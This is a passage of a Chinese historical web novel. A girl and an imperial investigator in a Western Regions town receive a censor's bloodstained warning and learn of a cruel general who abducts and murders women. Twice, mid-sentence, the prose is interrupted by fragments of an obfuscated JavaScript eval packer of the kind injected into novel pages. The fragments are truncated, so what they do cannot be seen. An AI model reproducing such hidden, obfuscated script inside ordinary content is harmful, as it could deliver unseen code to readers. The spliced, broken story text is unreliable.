管胖子没好气地白了她一眼:“你一小丫……嗯,小样的,毛都没长齐,上赶着去花那冤枉钱。” 钱寅笑笑,脸上不见惊讶之色。 西域的夏季,日照极长,已是酉时,仍见大漠落日熔金,晚霞映得半壁天空好似一幅浓墨重彩的壁画。 阿四赶着马车横穿两条大街,到了一派繁荣景象的西街,停在旗风楼的门前。 这是一座极其气派的富丽堂皇的酒楼,门楣上悬挂着旗风楼匾额,进门一楼是大堂,尽东头有楼梯上二楼,二楼北面一排十来间雅间,南面通道对着大堂,用木栅栏隔着,挂着串串灯笼恰好遮挡了楼下人的视线。 伙计笑脸相迎:“爷里边请,可订了雅间?” 管胖子摇摇头:“不曾,在大堂寻张僻静些的桌子。” 伙计道:“好咧。”好意提醒,“旁的客人唯恐离得远看不清美人起舞呢。”将他们引到大堂内稍偏远的一张小桌旁。 青绿四处张望了一下,大堂摆着一二十张桌子围成一圈,客人席地而坐,正在大碗吃酒大块吃肉,圈中十几名妙龄女子踩着鼓点跳舞,头、肩、腰、臂、肘、膝、脚有节律地扭动着,阵阵歌舞声夹杂着吆五喝六的笑声在大堂内回旋。 二人在桌旁坐下,伙计递上一块板子:“茶酒肉价及姑娘的出场费都在这上头。” 青绿的目光完全被跳舞的女子们所吸引,但见随着鼓点由慢到快,女子们开始旋转,各人头上十几根长辩飞舞,裸露的挂着串串铜铃的曼妙腰肢随着胯部的摆动,发出哗啦啦悦耳的声音,那摇头扭腰晃胯的舞姿及充满诱惑的眼神,撩拨得一众骚年瞬间热血冲顶。 便在鼓声停下的一瞬间,几乎所有男子呼啦啦全站起来加入到女子当中,随着重新响起的鼓点手之舞之,足之蹈之。 鼓声聚停,一曲舞毕,男子们搂着女子坐回原处喝酒吃肉。 左侧传来一阵交谈声。 “周顺子,这杯老哥先干了,你我命苦,在都护府当个小卒连俸禄都拿不到。” 青绿徇声悄悄看去,两名看打扮象是士卒的汉子就坐在邻桌吃闷酒。 周顺子道:“訾大哥,算起来,近两年没有一次能足额发放军饷。” “不足额发放还能发放,如今连着三个月都没见着银子了,说是边境吃紧,镇南将军亲自率兵打了好几个胜仗,银子先紧着前线,缓过来再给弟兄们发放。唉,不知拖到何时,家里的婆娘都抱怨好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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却是蓬莱啸天镖局老掌门的声音:“范副校尉,这是孙女连花清。我常给儿孙们念叨你在马贼刀下救了老夫,得牢记恩人的救命之恩。孙女儿对你佩服得紧,闹着要到西域当面给英雄敬酒,这不,趁现在气候适宜,我便将她带来了。” 青绿心里打了个哆嗦:凡副校尉?二哥? 不动声色地顺着半开的门看去,正对着门坐在主位上的英姿飒爽的青年士卒,不是二哥凡非凡还能是谁? 虽多年未见,但那张英气勃勃的脸除了黑些以外,墨染的双眉,漆黑的眼眸,挺直如锋的鼻梁,棱角分明的嘴唇,尤是下巴正中的那道深沟,只是按原样放大了一号,其余无甚改变。 坐在他身旁的吃花美人连花清,俏脸泛红,纤纤玉手举着一盅酒站起身对凡非凡道:“小女子敬范文哥哥一杯,谢范文哥哥救了爷爷。” 凡非凡似乎有些意外,顿了顿,还是接过酒杯仰头一饮而尽。 吃花美人满脸满眼的娇羞坐回原处。 伙计出来随手带上房门,却关不严实,仍有说话声断断续续透出:“听说范副校尉是京师人士,高堂可还安在?……唔,英雄不问出处,恕老夫多言。” 范文?青绿纳闷,二哥从军难道一直隐藏了身份?随即心下了然,以亲爹的高风亮节,必定不让凡家儿郎在外打着自己的旗号招摇撞骗,欲求取功名,全凭个人本事。 她忍不住想进去叫他一声“二哥”,可一想到管胖子不可暴露身份的叮嘱,便又有些犹豫,脑子里天人交战间,房门打开了,凡非凡大踏步走了出来,她忙将头缩进肩膀里。 凡非凡拦住欲送出门的祖孙二人,以不容置疑的口气道:“连掌门请留步,范文不日将要巡视边关,怨不能作陪。”扭头大踏步下楼。 青绿那声“二哥”生生堵在了嗓子眼上。 身后却有连花清带着哽咽的声音:“公子保重,我等你平安归来。” 青绿忍不住回头看向连花清,但见她满目含情痴痴地凝望着二哥高大的背影,吃花仙子看来是动了凡心。 一直目送凡非凡的身影在一楼大门外消失,连花清收回目光,狠狠地瞪了青绿一眼,转身进了雅间,背对着门朝后伸出一脚狠狠将门踢上。 砰的一声巨响,震得青绿极为不爽,心里憋了一口闷气:吃花美人,你得罪了未来的小姑子知道不?想当我嫂子,呵呵,犯花痴呢。 青绿站起身拍拍屁股,才要挪步回亚子古丽,一名满身酒气的高瘦男子脚步踉跄朝楼梯口走来,到了她跟前已是摇摇欲坠。 青绿闪身靠在楼梯扶手上避免与他相撞,孰料他身子突然朝前一扑倒了下来,连带着把她也扑倒在地,一只胳膊被他压在身下。 青绿怒目圆睁,用脚踢他:“醉鬼,可恶。”却觉着自己的手里被塞进了一样物件,耳边响起一个细到几乎听不到的声音“离开乌垒”。 29. 第二十九章 血腥 青绿握着手里的物件正要向高瘦男子问个究竟,便此时,身后有四五名汉子急急跑来,青绿眼疾手快将物件顺进袖子里,顺势坐在楼梯口。 两名男子上前一左一右将倒在地上的高瘦男子架了起来,嘴里道:“说好的不醉不归,大人不过才喝了几口西凤酒,便想躲了不成?” 高瘦男子似乎已醉得七荤八素,大着舌头道:“哥们,我不行了,再喝下去便娘们光着身子站在我面前也不顶用了。” 一名一脸横肉的男子哈哈大笑道:“哈哈,不碍事,兄弟有醒酒药,还有回春汤,包管大人回府后通宵快活,多厉害的娘们都得讨饶。” 高瘦男子嘻笑道:“哥们我真真不行了。”言罢,头一歪便倒在其中一名男子身上。 横肉男子对同伴使了个眼色:“如此,兄弟们只能送大人回府了。” 几名男子簇拥着瘦弱男子朝楼下走去,横肉男子跟在最后,青绿起身待要回雅间,一抬头,却碰上他投过来的阴恻恻的目光。 青绿心里一惊,便见横肉男子突然止住了下楼的脚步道:“你是汉人?这里的?”头朝丝曼古丽雅间点了点。 青绿不想暴露自己的去处,以免有人注意到管胖子,便似是而非地转了一下头。 不料男子却突然推开她身后雅间的房门,里面的连啸天及连花清一脸惊愕。 连啸天却是认得横肉男子的,忙不迭出门热情招呼:“孟捕头,进来喝一杯?”脸上是不无讨好的神态。 孟捕头看了他一眼道:“是连老掌门啊,打扰了,正办差呢。”下巴朝青绿扬了扬,“老当家可认识他?” 连啸天看了看门外的青绿,似乎正掂量着如何回答,一旁的连花清却撇撇嘴,鄙夷道:“这个叫化子么?不认识。” 连啸天躲着青绿巴巴的眼神,亦摇头道:“不认识。” 孟捕头手一挥,喝道:“带回去。” 一名男子上前扭住青绿。 青绿有些发急,姓连的你们几个意思?不过上下嘴皮子一嗑的功夫,便没我啥事了。亏得管胖子救过吃花美人你,还与连老爷子你说好一块做生意的。 再看连啸天小心谨慎对待孟捕头的态度,她一下便明白了,多一事不如少一事,何苦为她一个陌路相逢的商贾的小跟班,而惹上不必要的麻烦。 楼梯口一名女子娇媚的声音成功转移了孟捕头等人的注意力:“孟捕头辛苦啦,这个时辰不在雅间吃酒,还惦记着办差呢。” 伴随着话音,一名一袭金丝花纹大红纱裙,朵帕小花帽帽沿上插一根翠绿孔雀羽,轻纱遮脸的娉娉婷婷的女子,玉指轻提裙裾沿着楼梯缓缓拾级而来,身后是一名抱着一架卡龙琴的小丫鬟。 孟捕头如同被天上掉下的馅饼砸中了脑袋一般,脸上顿现惊喜之色,忙不迭扒拉开同伴让出通道,自己侧身贴在栅栏上对女子道:“不敢,吃的便是这口饭,让兮凤姐见笑了。” 青绿灵机一动,挣脱男子的手臂,上前对兮凤姐行礼道:“小的奉钱大姑之命在此恭候兮凤姐。” 乖巧地上前接过小丫鬟手中的卡龙琴。 兮凤姐道:“让钱大姑在雅间久等了。” 青绿点头,点头,拚命点头。 兮凤姐对孟捕头道:“孟捕头降尊,听奴家弹奏一曲再走?” 孟捕头笑容满脸道:“既是钱大姑请姑娘,我等便不打扰了,回见。”领人速速下楼追赶同伴。 连廊上,有人打开雅间的门,忽然发出一声惊呼:“快看,是兮凤姐。” 雅间里的人呼啦啦全挤了出来,有人感叹道:“兮凤姐从不轻易离开凤巢,多少文人墨客商贾大佬,在栖凤阁一掷千金亦未必能见其一面,今日是何方人物?有这泼天的本事能让她移步旗风楼,真真羡慕嫉妒恨。” 青绿回头得意看去,便见连花清恨恨地盯着自己,眼中有惊诧也有遗憾。 连啸天的目光却是五味杂陈,可惜青绿并未听到他对连花清的说话,否则会更加得意。 连啸天道:“虽说这小子不过是个下人,但得罪了他,无疑于得罪了西域商界大佬钱寅,唉,这些个不起眼的小人最好在主人面前嚼舌根。” 亚子古丽雅间内,趁众人隔着屏风如痴如醉地倾听兮凤姐弹奏之机,青绿轻轻扯了扯管胖子的袖子。 管胖子起身对钱寅等人道:“侄儿上趟茅厕。” 二人在楼梯拐角处立定,装作看大堂内的歌舞。 青绿将高瘦男子塞给她的物件交给管胖子。 管胖子脸上带着疑问展开物件。 连廊内的灯光十分明亮,青绿清楚地看出这是一块巴掌大的布片,应该是临时用刀从衣裳的某个地方割下来的,上面是鲜血写就的“僧兵萨”三个字,字迹有些暗红,仿佛还带着一丝血腥味。 却见管胖子脸色大变,双眸紧盯着青绿,声音压得极低问道:“此物从何而来?” 青绿将方才所发生的事对他说了一遍。 管胖子问:“那人的长相?” 青绿道:“瘦高个。” “与你说了些什么?” 青绿极力回忆那个细到几乎听不到的声音:“好像是说‘离开乌垒’,听得不甚清楚。” 管胖子握紧的拳头青筋突爆:“此地不能久留,得尽快离开。” 青绿的心提到了嗓子眼:“即刻离开么?” 管胖子道:“现在突然离开会引起旁人疑心,再说乌垒一过酉时便关闭城门禁止出入,只能明天一早走了。” “今晚出事咋办?” “轻易不会有人来骚扰钱府。” 青绿稍稍安心。 回钱府的马车上,青绿问管胖子:“写这条子的是何人?” “监军御史萨国武。”管胖子语气变得沉重,“萨国武是凉州人,历任游徼、县尉、郡丞……左冯诩丞,实实在在是从底层干上来的。” “他为何将布条交给我,我又不认识他。” 管胖子沉思着道:“你是兰台唯一的女子,或许他见过你,又或许他明知你是陌生人,但却是他送出情报的最后也是唯一的机会。” 青绿迟疑道:“他肯定是遇到危险了,不想办法救他么?” 管胖子摇摇头:“这里是镇西将军刘意的天下,他手握重兵,别说救人,连我们都自身难保,这也是萨国武说‘离开乌垒’的原因。” “你那身大红绣服也不好使?” “陛下御旨查武威郡上计事,并不可以无边界办案。目前我们要做的最重要的事是想办法查清‘僧兵’是何意。”管胖子语气深沉,“有时候,放弃是为了更好地办案。” “他们,会不会杀他?”青绿的心似乎被针扎了一下。 “当然不能明着杀,或许明面上他会死得很壮烈。”管胖子牙齿咬得咯咯响,腮边两个肉肉的酒窝被硬生生挤成了两条长缝。 青绿喃喃道:“御史会死,侍御史会不会死?” 管胖子恢复了平静,眯缝着眼道:“是人都会死,但看是否死得其所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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在刘意看来,女子的躯体是一具空壳,肚脐才是那点睛之笔,唯有肚脐能让躯体鲜活起来,所谓女子的活色生香,全在于肚皮上的这只眼,故凭你外壳多完美,若腰不细,神厥穴——肚脐眼不美,便都不算美人。 美人必须肌肤丰腴雪白中透出淡粉,小腹微隆,肚脐小而呈纵向椭圆形,陷于内而深不见底,若肚脐下有一条若隐若现腹中线的便可称为极品。 他性情暴躁极是冷血,对待掳掠来的女子,如觉着肚脐不好看,便毫无人性地一剑斩杀;而一旦听说有哪位女子的肚脐长得好,便会不惜一切掠回将军府。 一次在乐司坊喝花酒,都护府长史的次子与酒友大谈闺阁趣闻,说自己娘子的肚脐如何如何好看,此事传到刘意耳中,他令人在长史府邸门外守候多日,趁那女子回娘家之机,将她抢回府中数日,玩腻了方才放其离去。 女子出身有头有脸人家,知书识礼,回到府中将自己受辱过程诉之于丈夫后,一条白绫结束了年轻的生命。 长史如何忍得下这奇耻大辱,但他是文官,不是刘意的对手,便刺破手指头写下一封血书,驷马连夜进京告御状,临近阳关,马突然受惊蹿下山崖,三日后找到其尸,仍是双目圆睁。 时隔不久,长史府邸起了一场不明不白大火,一家三十几口全部葬身火海,从此众人对此事噤若寒蝉。 管胖子语气愤慨:“我一直想办他,苦于没有证据,甚至无人敢出来做证,因为,他是皇长子。” 青绿目中似要滴血:“不办他,天理难容。” 心下不禁担忧起二哥的安危来。